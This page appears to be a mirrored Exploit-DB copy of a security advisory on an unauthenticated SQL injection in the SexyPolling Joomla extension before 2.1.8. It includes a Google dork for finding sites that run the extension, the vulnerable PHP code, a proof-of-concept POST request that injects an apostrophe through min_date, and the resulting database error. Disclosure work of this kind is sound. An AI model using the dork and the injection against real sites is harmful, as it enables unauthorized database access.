Joomla Plugin SexyPolling 2.1.7 – SQLi

• Exploit Database
• 125 阅读

• 作者： Wolfgang Hotwagner
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50927/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141

  # Exploit Title: Joomla Plugin SexyPolling 2.1.7 - SQLi # Google Dork: intext:"Powered by Sexy Polling" # Date: 2022-02-08 # Exploit Author: Wolfgang Hotwagner # Vendor Homepage: https://2glux.com/projects/sexypolling # Software Link: https://2glux.com/downloads/files/free/sexypolling_pack_2.1.7_2glux.com.zip # Version: all versions below version 2.1.8 # Tested on: Debian Bullseye         SexyPolling SQL Injection   ====================   | Identifier: | AIT-SA-20220208-01| | Target: | Sexy Polling ( Joomla Extension) | | Vendor: | 2glux | | Version: | all versions below version 2.1.8 | | CVE: | Not yet | | Accessibility: | Remote | | Severity: | Critical | | Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |     Summary   ========   [Sexy Polling is a Joomla Extension for votes.](https://2glux.com/projects/sexypolling). In all versions below 2.1.8 an unauthenticated attacker could execute arbitrary SQL commands by sending crafted POST-parameters to poll.php.     Vulnerability Description   ====================   In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.   In lines 74 and 75 in the *site/vote.php* code, the parameters are assigned without being checked: </code><code> $min_date_sent = isset($_POST[&apos;min_date&apos;]) ? $_POST[&apos;min_date&apos;].&apos; 00:00:00&apos; : &apos;&apos;; $max_date_sent = isset($_POST[&apos;max_date&apos;]) ? $_POST[&apos;max_date&apos;].&apos; 23:59:59&apos; : &apos;&apos;; </code><code> These are later used unfiltered by the WHERE clause: </code><code> $query_toal = "SELECT COUNT(sv.</code>id_answer<code>) total_count, MAX(sv.</code>date<code>) max_date, MIN(sv.</code>date<code>) min_date FROM </code>#__sexy_votes<code> sv JOIN </code>#__sexy_answers<code> sa ON sa.id_poll = &apos;$polling_id&apos; AND sa.published = &apos;1&apos; WHERE sv.</code>id_answer<code> = sa.id";   //if dates are sent, add them to query if ($min_date_sended != &apos;&apos; && $max_date_sended != &apos;&apos;) $query_toal .= " AND sv.</code>date<code> >= &apos;$min_date_sended&apos; AND sv.</code>date<code> <= &apos;$max_date_sended&apos; "; </code><code> Proof Of Concept   ==============   To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.   HTTP-Request: </code><code> POST /components/com_sexypolling/vote.php HTTP/1.1   Host: joomla-server.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest HTTP_X_REAL_IP: 1.1.1.1 Content-Length: 193 Origin: joomla-server.local Connection: close Referer: joomla-server.local/index.php/component/search/ Cookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6   polling_id=1&answer_id[]=3&dateformat=digits&min_date=2021-12-07&apos;&max_date=2021-12-14&country_name=-&country_code=-&city_name=-&region_name=-&voting_period=24&ae9a061e2170d406fb817b9ec0c42918=1 </code><code> The HTTP-Resoonse contains a mysql error: </code><code> HTTP/1.1 500 Internal Server Error Date: Wed, 15 Dec 2021 10:27:40 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=/ Content-Length: 4768 Connection: close Content-Type: application/json   <!DOCTYPE html> <html lang="en-gb" dir="ltr"> <head> <meta charset="utf-8" /> <title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;00:00:00&#039; AND sv.</code>date<code> <= &#039;2021-12-14 23:59:59&#039;&#039; at line 12</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" /> </code><code> Vulnerable Versions ================ All versions below version 2.1.8   Tested Versions ============= Sexy Polling ( Joomla Extension) 2.1.7   Impact ====== An unauthenticated attacker could inject and execute SQL commands on the database.   Mitigation ========= Sexy Polling 2.1.8 fixed that issue   Vendor Contact Timeline ==================== | 2021-12-14 | Unable to find a contact of the vendor | | 2021-12-15 | Contacting Joomla Security Strike Team | | 2021-12-29 | Answer from the Joomla Security Strike Team that they will investigate the problem. | | 2022-01-01 | Sexy Polling releases 2.1.8 | | 2022-04-08 | Public Disclosure |   *We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.*   Advisory URL =========== [https://www.ait.ac.at/ait-sa-20220208-01-sexypolling](https://www.ait.ac.at/ait-sa-20220208-01-sexypolling)